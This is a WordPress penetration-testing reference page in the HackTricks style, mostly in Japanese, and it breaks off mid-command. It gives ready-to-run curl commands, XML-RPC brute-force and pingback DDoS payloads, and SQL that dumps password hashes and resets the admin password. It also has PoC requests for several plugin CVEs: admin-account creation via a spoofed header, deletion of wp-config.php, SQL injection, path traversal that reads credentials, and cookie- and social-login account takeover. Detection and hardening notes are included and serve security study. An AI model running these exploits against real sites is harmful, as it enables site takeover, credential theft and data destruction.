Wordpress

Reading time: 48 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

  • Uploaded ファイルは次に保存されます: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, つまりテーマの php を変更して RCE を狙う場合、通常そのパスを使用します。例えば:theme twentytwelve を使用すると、次の 404.php ファイルに access できます: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php 内にはデータベースのルートパスワードが含まれていることがあります。

  • 確認すべきデフォルトのログインパス: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt はインストールされている WordPress のバージョンなど有用な情報が含まれています。
  • wp-activate.php は新しい WordPress サイトのセットアップ中のメール有効化プロセスで使用されます。
  • Login フォルダ(隠すために名前が変更されている場合があります):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php は、HTTP をトランスポート、XML をエンコーディング機構としてデータを送受信する WordPress の機能を表すファイルです。この種の通信は WordPress の REST API に置き換えられています。
  • wp-content フォルダはプラグインやテーマが格納される主要なディレクトリです。
  • wp-content/uploads/ はプラットフォームへアップロードされたファイルが保存されるディレクトリです。
  • wp-includes/ は証明書、フォント、JavaScript ファイル、ウィジェットなどコアファイルが格納されるディレクトリです。
  • wp-sitemap.xml Wordpress バージョン 5.5 以降では、公開されている投稿やパブリックにクエリ可能な投稿タイプ、タクソノミーを含む sitemap XML ファイルが自動生成されます。

Post exploitation

  • wp-config.php ファイルには、WordPress がデータベースに接続するために必要な情報(データベース名、データベースホスト、ユーザー名とパスワード、認証キーとソルト、データベーステーブルのプレフィックスなど)が含まれています。この設定ファイルは DEBUG モードを有効にするためにも使え、トラブルシュート時に有用です。

ユーザー権限

  • Administrator
  • Editor: 自分と他者の投稿を公開および管理します
  • Author: 自分の投稿を公開および管理します
  • Contributor: 投稿を作成・管理できますが公開はできません
  • Subscriber: 投稿を閲覧し、プロフィールを編集できます

Passive Enumeration

Get WordPress version

/license.txt または /readme.html が見つかるか確認してください

ページの source code 内(例: https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS リンクファイル

  • JavaScript ファイル

プラグインを入手

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

テーマを取得

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

バージョンを一般的に抽出する

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

アクティブ列挙

Plugins and Themes

すべての Plugins and Themes を見つけられないことが多い。すべてを発見するには、積極的に Brute Force して Plugins and Themes のリストを作成する 必要がある(幸い、自動化ツールがこれらのリストを含んでいることが多い)。

ユーザー

  • ID Brute: WordPress サイトの有効なユーザーは、ユーザーID を Brute Forcing することで取得できる:
bash
curl -s -I -X GET http://blog.example.com/?author=1

レスポンスが200または30Xの場合、そのidは有効です。レスポンスが400の場合、そのidは無効です。

  • wp-json: クエリしてユーザーの情報を取得してみることもできます:
bash
curl http://blog.example.com/wp-json/wp/v2/users

ユーザーに関する情報を明らかにする可能性がある別の /wp-json/ endpoint は次のとおりです:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

Note that this endpoint only exposes users that have made a post. この機能を有効にしているユーザーに関する情報のみが提供されます

Also note that /wp-json/wp/v2/pages could leak IP addresses.

  • Login username enumeration: /wp-login.php にログインしようとすると、表示される メッセージ異なり、指定した ユーザー名が存在するかどうか を示します。

XML-RPC

If xml-rpc.php is active you can perform a credentials brute-force or use it to launch DoS attacks to other resources. (You can automate this process using this for example).

To see if it is active try to access to /xmlrpc.php and send this request:

確認

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories または metaWeblog.getUsersBlogs は、credentials を brute-force するために使用できるメソッドの一部です。これらのいずれかが見つかったら、次のようなものを送信できます:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

認証情報が無効な場合、HTTP 200レスポンス内に_"Incorrect username or password"_というメッセージが表示されるはずです。

正しい認証情報を使用するとファイルをアップロードできます。レスポンスにはパスが表示されます (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

また、同じリクエストで複数の認証情報を試せるため、より高速な方法として system.multicall を使うと認証情報の brute-force を行えます:

Bypass 2FA

このメソッドはプログラム向けで人間向けではなく古い実装のため、2FA をサポートしていません。したがって、有効な creds を持っていてメインの入口が 2FA で保護されている場合、xmlrpc.php を悪用してそれらの creds で 2FA を回避してログインできる可能性があります。ただし、コンソールから行えるすべての操作ができるわけではありませんが、Ippsec が説明しているように RCE に至ることができる場合があります: https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s

DDoS or port scanning

リスト内にメソッド pingback.ping が見つかれば、Wordpress に任意のホスト/ポートへリクエストを送らせることができます。
これを使えば、数千の Wordpress サイト に一つの 場所アクセス させ(その場所で DDoS が発生します)、あるいは Wordpress に内部 ネットワークスキャン させることもできます(任意のポートを指定可能)。

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

faultCode の値が 0(17)より大きい 場合、そのポートは開いています。

前のセクションでの system.multicall の使い方を見て、このメソッドを悪用して DDoS を引き起こす方法を学んでください。

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

このファイルは通常Wordpressサイトのルートに存在します: /wp-cron.php
このファイルにアクセスされると、heavyなMySQL queryが実行されるため、attackersによってDoS引き起こすために利用される可能性があります。
また、デフォルトでは wp-cron.php は各ページ読み込み時(クライアントが任意のWordpressページをリクエストするたび)に呼び出され、高トラフィックサイトでは問題(DoS)を引き起こすことがあります。

Wp-Cronを無効化し、ホスト内で実際のcronジョブを作成して、定期的に必要な処理を実行することが推奨されます(問題を引き起こさないように)。

/wp-json/oembed/1.0/proxy - SSRF

Try to access https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net and the Worpress site may make a request to you.

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

このツールは methodName: pingback.ping とパス /wp-json/oembed/1.0/proxy の存在を確認し、存在する場合はそれらを悪用しようと試みます。

自動ツール

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

1ビットを書き換えてアクセスを得る

実際の攻撃というよりは好奇心のためのものだ。 この CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man では、任意の wordpress ファイルの 1ビットを反転させることができた。 そのため、ファイル /var/www/html/wp-includes/user.php の位置 5389 のビットを反転させて NOT (!) 演算を NOP にすることができた。

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

パネル RCE

使用中のテーマの php を変更する(admin credentials が必要)

外観 → テーマエディター → 404 テンプレート(右側)

php shell 用に内容を変更:

更新したページにどうアクセスするかをインターネットで検索してください。この場合は次の URL にアクセスします: http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

使用できます:

bash
use exploit/unix/webapp/wp_admin_shell_upload

セッションを取得するため。

プラグイン RCE

PHP プラグイン

プラグインとして .php ファイルをアップロードできる場合があります。
例えば次のように PHP バックドアを作成します:

次に新しいプラグインを追加します:

プラグインをアップロードして「Install Now」を押します:

「Proceed」をクリックします:

おそらくこれだけでは何も起こらないように見えますが、Media に移動するとアップロードされたシェルが確認できます:

それにアクセスすると、リバースシェルを実行するための URL が表示されます:

Uploading and activating malicious plugin

この方法は、脆弱であることが知られている悪意のあるプラグインをインストールし、web シェルを取得するために悪用することを含みます。プロセスは WordPress ダッシュボードを通じて次のように行われます:

  1. プラグイン取得: プラグインは Exploit DB のようなソースから入手します(例: here)。
  2. プラグインのインストール:
  • WordPress ダッシュボードに移動し、Dashboard > Plugins > Upload Plugin に進みます。
  • ダウンロードしたプラグインの zip ファイルをアップロードします。
  1. プラグインの有効化: プラグインが正常にインストールされたら、ダッシュボードから有効化します。
  2. 悪用:
  • プラグイン「reflex-gallery」をインストールして有効化すると、脆弱であることが知られているため悪用できます。
  • Metasploit framework はこの脆弱性に対するエクスプロイトを提供します。適切なモジュールを読み込み、特定のコマンドを実行することで、meterpreter セッションを確立し、サイトへの不正アクセスを得ることができます。
  • これは WordPress サイトを悪用する多くの方法の一つに過ぎないことに注意してください。

この内容には、プラグインのインストールと有効化の手順を示す WordPress ダッシュボードの視覚的補助が含まれています。ただし、正当な許可なしにこのような方法で脆弱性を悪用することは違法かつ非倫理的である点に注意してください。本情報は責任を持って、明示的な許可のあるペネトレーションテストなど法的な文脈でのみ使用してください。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

XSS から RCE へ

  • WPXStrike: WPXStrike は、WordPress の Cross-Site Scripting (XSS) 脆弱性を Remote Code Execution (RCE) やその他の重大な脆弱性にエスカレートさせるためのスクリプトです。詳細は this post を参照してください。Wordpress Versions 6.X.X, 5.X.X and 4.X.X. をサポートし、以下を可能にします:
  • Privilege Escalation: WordPress にユーザーを作成します。
  • (RCE) Custom Plugin (backdoor) Upload: カスタムプラグイン(バックドア)を WordPress にアップロードします。
  • (RCE) Built-In Plugin Edit: WordPress の組み込みプラグインを編集します。
  • (RCE) Built-In Theme Edit: WordPress の組み込みテーマを編集します。
  • (Custom) Custom Exploits: サードパーティの WordPress プラグイン/テーマ向けのカスタムエクスプロイト。

ポストエクスプロイテーション

ユーザー名とパスワードを抽出する:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

adminのパスワードを変更する:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress プラグイン Pentest

攻撃対象

Wordpress プラグインがどのように機能を公開するかを知ることは、その機能の脆弱性を見つけるために重要です。以下の箇条書きでプラグインが機能を公開する可能性のある方法と、脆弱なプラグインの例を this blog post で確認できます。

  • wp_ajax

プラグインが機能を公開する方法の一つに、AJAXハンドラ経由があります。これらはロジック、authorization、または authentication のバグを含んでいることがあります。さらに、これらの関数は認証と認可の両方を Wordpress nonce の存在に基づいていることが多く、Wordpress インスタンスで認証された任意のユーザーが持っている可能性があります(役割に関係なく)。

プラグイン内の関数を公開するために使用される関数は以下のとおりです:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

nopriv の使用により、そのエンドポイントは任意のユーザー(未認証のユーザーも含む)からアクセス可能になります。

caution

さらに、関数が wp_verify_nonce を使ってユーザーの認可のみを確認しているだけの場合、この関数はユーザーがログインしているかどうかを確認するだけで、通常ユーザーのロール(権限)を確認しません。したがって、権限の低いユーザーが高権限の操作にアクセスできる可能性があります。

  • REST API

wordpress から関数を register_rest_route 関数を使って rest AP を登録して公開することも可能です:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

The permission_callback is a callback to function that checks if a given user is authorized to call the API method.

If the built-in __return_true function is used, it'll simply skip user permissions check.

  • Direct access to the php file

もちろん、Wordpress は PHP を使用しており、プラグイン内のファイルはウェブから直接アクセスできます。したがって、ファイルにアクセスするだけでトリガーされる脆弱な機能をプラグインが公開している場合、任意のユーザーによって悪用され得ます。

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

一部のプラグインは内部連携や reverse proxies 向けに “trusted header” のショートカットを実装し、そのヘッダを REST リクエストの現在のユーザーコンテキストを設定するために使用します。上流のコンポーネントによってヘッダが暗号学的にリクエストに紐付けられていない場合、攻撃者はそれを偽装して administrator として特権のある REST ルートにアクセスできます。

  • Impact: 未認証の privilege escalation により、core users REST route を通して新しい administrator を作成し admin 権限を取得される可能性があります。
  • Example header: X-Wcpay-Platform-Checkout-User: 1 (forces user ID 1, typically the first administrator account).
  • Exploited route: POST /wp-json/wp/v2/users に対し、昇格した role 配列を含むリクエストを送る。

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

なぜ動作するか

  • プラグインはクライアントが制御するヘッダーを認証状態にマッピングし、capability チェックをスキップする。
  • WordPress core はこのルートに対して create_users capability を期待している;プラグインのハックはヘッダーから直接現在のユーザーコンテキストを設定することでこれをバイパスする。

期待される成功指標

  • 作成されたユーザーを記述する JSON ボディを伴う HTTP 201。
  • wp-admin/users.php に表示される新しい管理者ユーザー。

検出チェックリスト

  • grep で getallheaders(), $_SERVER['HTTP_...']、またはカスタムヘッダーを読み取ってユーザーコンテキストを設定するベンダー SDK(例: wp_set_current_user(), wp_set_auth_cookie())を探す。
  • 強固な permission_callback チェックを欠き、代わりにリクエストヘッダーに依存する特権コールバックについて REST 登録を確認する。
  • REST ハンドラ内でヘッダー値のみでゲートされているコアのユーザー管理関数(wp_insert_user, wp_create_user)の使用を探す。

wp_ajax_nopriv による未認証の任意ファイル削除 (Litho Theme <= 3.0)

WordPress のテーマやプラグインはしばしば wp_ajax_ および wp_ajax_nopriv_ フックを通じて AJAX ハンドラを公開する。nopriv バリアントが使われると コールバックは未認証の訪問者から到達可能になるため、機密性の高い処理は次を追加で実装する必要がある:

  1. capability check(例: current_user_can() または少なくとも is_user_logged_in())、および
  2. check_ajax_referer() / wp_verify_nonce() で検証された CSRF nonce、および
  3. 厳格な入力のサニタイズ/検証

Litho multipurpose theme (< 3.1) は Remove Font Family 機能でこれら3つのコントロールを忘れてしまい、結果として次のコード(簡略化)を出荷した:

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

Issues introduced by this snippet:

  • 認証なしでのアクセス – the wp_ajax_nopriv_ hook is registered.
  • nonce / capability チェックなし – 任意の訪問者がエンドポイントにアクセスできる。
  • パスのサニタイズなし – ユーザー制御の fontfamily 文字列がフィルタリングなしでファイルシステムパスに連結され、古典的な ../../ トラバーサルを許可している。

悪用

攻撃者は単一の HTTP POST リクエストを送ることで、通常 <wp-root>/wp-content/uploads/uploads base directory 以下にある任意のファイルやディレクトリを削除できる:

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

検出チェックリスト

  • ファイルシステムヘルパー(copy(), unlink(), $wp_filesystem->delete() など)を呼び出す add_action( 'wp_ajax_nopriv_...') コールバック。
  • 未サニタイズのユーザー入力をパスに連結している箇所($_POST, $_GET, $_REQUEST を探す)。
  • check_ajax_referer()current_user_can()/is_user_logged_in() が欠如していること。

古いロールの復元と認可不足による権限昇格 (ASE "View Admin as Role")

多くのプラグインは、元のロールを user meta に保存して後で復元できるようにすることで、「view as role」や一時的なロール切替機能を実装しています。復元処理がリクエストパラメータ(例: $_REQUEST['reset-for'])とプラグインが管理するリストだけに依存し、権限チェックや有効な nonce の検証を行わない場合、これは垂直的な権限昇格になります。

実際の例として Admin and Site Enhancements (ASE) プラグイン (≤ 7.6.2.1) にて発見されました。リセットの処理では、ユーザー名が内部配列 $options['viewing_admin_as_role_are'] に存在する場合に reset-for=<username> に基づいてロールを復元していましたが、現在のロールを削除して user meta _asenha_view_admin_as_original_roles から保存されたロールを再追加する前に current_user_can() チェックも nonce の検証も行っていませんでした:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

なぜ悪用可能か

  • サーバー側の認可なしに $_REQUEST['reset-for'] とプラグインのオプションを信頼している。
  • ユーザーが以前により高い権限を _asenha_view_admin_as_original_roles に保存されており、後で降格された場合、リセット用のパスにアクセスすることでそれを復元できる。
  • 一部の導入環境では、認証済みの任意のユーザーが viewing_admin_as_role_are にまだ存在する別のユーザー名のリセットをトリガーできる(認可の不備)。

悪用(例)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

脆弱なビルドでは、現在のロールを削除して保存された元のロール(例: administrator)を再追加し、実質的に権限を昇格させます。

Detection checklist

  • Look for role-switching features that persist “original roles” in user meta (e.g., _asenha_view_admin_as_original_roles).
  • Identify reset/restore paths that:
  • Read usernames from $_REQUEST / $_GET / $_POST.
  • Modify roles via add_role() / remove_role() without current_user_can() and wp_verify_nonce() / check_admin_referer().
  • Authorize based on a plugin option array (e.g., viewing_admin_as_role_are) instead of the actor’s capabilities.

一部のプラグインは user-switching ヘルパーを public init フックに接続し、クライアント制御の cookie から識別を取得します。コードが認証、capability、および有効な nonce を検証せずに wp_set_auth_cookie() を呼び出すと、認証されていない訪問者が任意の user ID として強制ログインさせることができます。

Typical vulnerable pattern (simplified from Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

なぜ悪用可能か

  • 公開された init フックにより、ハンドラは unauthenticated なユーザーから到達可能です(is_user_logged_in() ガードがありません)。
  • 識別はクライアント側で変更可能なクッキー(original_user_id)から導出されます。
  • wp_set_auth_cookie($uid) を直接呼び出すと、要求者はそのユーザーとしてログインされます(権限チェックや nonce チェックが行われません)。

悪用 (unauthenticated)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WordPress/plugin CVE に関する WAF の考慮事項

汎用の edge/server WAF は広範なパターン(SQLi、XSS、LFI)に合わせて調整されています。多くの高影響な WordPress/plugin の脆弱性はアプリケーション固有のロジック/auth バグで、エンジンが WordPress のルートや plugin のセマンティクスを理解していない限り無害なトラフィックに見えます。

攻撃メモ

  • プラグイン固有のエンドポイントをクリーンな payloads で狙う: admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • まずは認証不要の経路を試す(AJAX nopriv, REST with permissive permission_callback, public shortcodes)。デフォルトの payloads は難読化なしで成功することが多い。
  • 典型的な高影響ケース: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

防御メモ

  • プラグインの CVE を保護するために汎用 WAF シグネチャに頼らないこと。アプリケーション層で脆弱性特化の仮パッチを実装するか、迅速に更新する。
  • コード内ではネガティブな regex フィルタよりも、ポジティブなセキュリティチェック(capabilities, nonces, strict input validation)を優先する。

WordPress の保護

定期的な更新

WordPress、プラグイン、およびテーマが最新であることを確認してください。また、wp-config.php で自動更新が有効になっていることを確認してください:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, 信頼できる WordPress プラグインとテーマのみをインストールしてください

セキュリティプラグイン

その他の推奨事項

  • デフォルトの admin ユーザーを削除する
  • 強力なパスワード2FAを使用する
  • 定期的にユーザーの権限確認する
  • Brute Force 攻撃を防ぐためにログイン試行回数を制限する
  • wp-admin.php ファイル名を変更し、社内または特定のIPアドレスからのみアクセスを許可する。

認証不要の SQL Injection(不十分な検証による)(WP Job Portal <= 2.3.2)

WP Job Portal の求人プラグインは savecategory タスクを公開しており、最終的に modules/category/model.php::validateFormData() 内で以下の脆弱なコードを実行します:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

このスニペットで導入された問題:

  1. Unsanitised user inputparentid は HTTP リクエストからそのまま取得されます。
  2. String concatenation inside the WHERE clauseis_numeric() / esc_sql() / prepared statement が使われていません。
  3. Unauthenticated reachability – action は admin-post.php 経由で実行されますが、存在するチェックは CSRF nonce (wp_verify_nonce()) のみで、任意の訪問者がショートコード [wpjobportal_my_resumes] を埋め込んだ公開ページから取得できます。

悪用

  1. 新しい nonce を取得:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. parentid を悪用して任意の SQL を注入:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

レスポンスは注入されたクエリの結果を開示するかデータベースを変更し、SQLi を立証します。

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

別のタスク、downloadcustomfile により、訪問者が path traversal を使ってディスク上の 任意のファイル をダウンロードできました。脆弱なシンクは modules/customfield/model.php::downloadCustomUploadedFile() にあります:

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name は攻撃者に制御されており、without sanitisation のまま連結されています。 繰り返しになりますが、唯一の関門は resume page から取得できる CSRF nonce です。

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

サーバは wp-config.php の内容を返し、leaking DB credentials and auth keys.

未認証でのアカウント乗っ取り via Social Login AJAX fallback (Jobmonster Theme <= 4.7.9)

多くのテーマ/プラグインは admin-ajax.php を介して公開される "social login" ヘルパーを同梱しています。未認証の AJAX アクション (wp_ajax_nopriv_...) がプロバイダのデータが欠落している場合にクライアント提供の識別子を信頼し、その後 wp_set_auth_cookie() を呼び出すと、完全な認証バイパスになります。

典型的な脆弱なパターン(簡略化)

php
public function check_login() {
// ... request parsing ...
switch ($_POST['using']) {
case 'fb':     /* set $user_email from verified Facebook token */ break;
case 'google': /* set $user_email from verified Google token   */ break;
// other providers ...
default: /* unsupported/missing provider – execution continues */ break;
}

// FALLBACK: trust POSTed "id" as email if provider data missing
$user_email = !empty($user_email)
? $user_email
: (!empty($_POST['id']) ? esc_attr($_POST['id']) : '');

if (empty($user_email)) {
wp_send_json(['status' => 'not_user']);
}

$user = get_user_by('email', $user_email);
if ($user) {
wp_set_auth_cookie($user->ID, true); // 🔥 logs requester in as that user
wp_send_json(['status' => 'success', 'message' => 'Login successfully.']);
}
wp_send_json(['status' => 'not_user']);
}
// add_action('wp_ajax_nopriv_<social_login_action>', [$this, 'check_login']);

Why it’s exploitable

  • 未認証で到達可能 — admin-ajax.php(wp_ajax_nopriv_… action)。
  • 状態変更の前に nonce/capability チェックがない。
  • OAuth/OpenID プロバイダの検証が欠如している;デフォルトの分岐が攻撃者の入力を受け入れる。
  • get_user_by('email', $_POST['id']) の後に wp_set_auth_cookie($uid) が続き、要求者を任意の既存のメールアドレスとして認証してしまう。

Exploitation (unauthenticated)

  • Prerequisites: 攻撃者が /wp-admin/admin-ajax.php に到達でき、有効なユーザのメールアドレスを知っているか推測できること。
  • provider をサポートされていない値に設定(または省略)してデフォルトの分岐を通り、id=<victim_email> を渡す。
http
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: victim.tld
Content-Type: application/x-www-form-urlencoded

action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com
bash
curl -i -s -X POST https://victim.tld/wp-admin/admin-ajax.php \
-d "action=<vulnerable_social_login_action>&using=bogus&id=admin%40example.com"

Expected success indicators

  • HTTP 200 with JSON body like {"status":"success","message":"Login successfully."}.
  • Set-Cookie: wordpress_logged_in_* for the victim user; subsequent requests are authenticated.

Finding the action name

  • Inspect the theme/plugin for add_action('wp_ajax_nopriv_...', '...') registrations in social login code (e.g., framework/add-ons/social-login/class-social-login.php).
  • Grep for wp_set_auth_cookie(), get_user_by('email', ...) inside AJAX handlers.

Detection checklist

  • Web logs showing unauthenticated POSTs to /wp-admin/admin-ajax.php with the social-login action and id=.
  • 200 responses with the success JSON immediately preceding authenticated traffic from the same IP/User-Agent.

Hardening

  • Do not derive identity from client input. Only accept emails/IDs originating from a validated provider token/ID.
  • Require CSRF nonces and capability checks even for login helpers; avoid registering wp_ajax_nopriv_ unless strictly necessary.
  • Validate and verify OAuth/OIDC responses server-side; reject missing/invalid providers (no fallback to POST id).
  • Consider temporarily disabling social login or virtually patching at the edge (block the vulnerable action) until fixed.

Patched behaviour (Jobmonster 4.8.0)

  • Removed the insecure fallback from $_POST['id']; $user_email must originate from verified provider branches in switch($_POST['using']).

Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)

一部のプラグインは、呼び出し元の権限を検証せずに再利用可能な「connection keys」やトークンを発行するRESTエンドポイントを公開しています。ルートが推測可能な属性(例: username)のみで認証し、キーをユーザー/セッションに厳密な capability チェックで紐付けない場合、未認証の攻撃者がキーを発行して権限のある処理(管理者アカウント作成、プラグインの特権アクション → RCE)を呼び出せます。

  • Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
  • Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
  • Impact: full takeover by chaining the minted key to internal privileged actions

PoC – mint a connection key and use it

bash
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
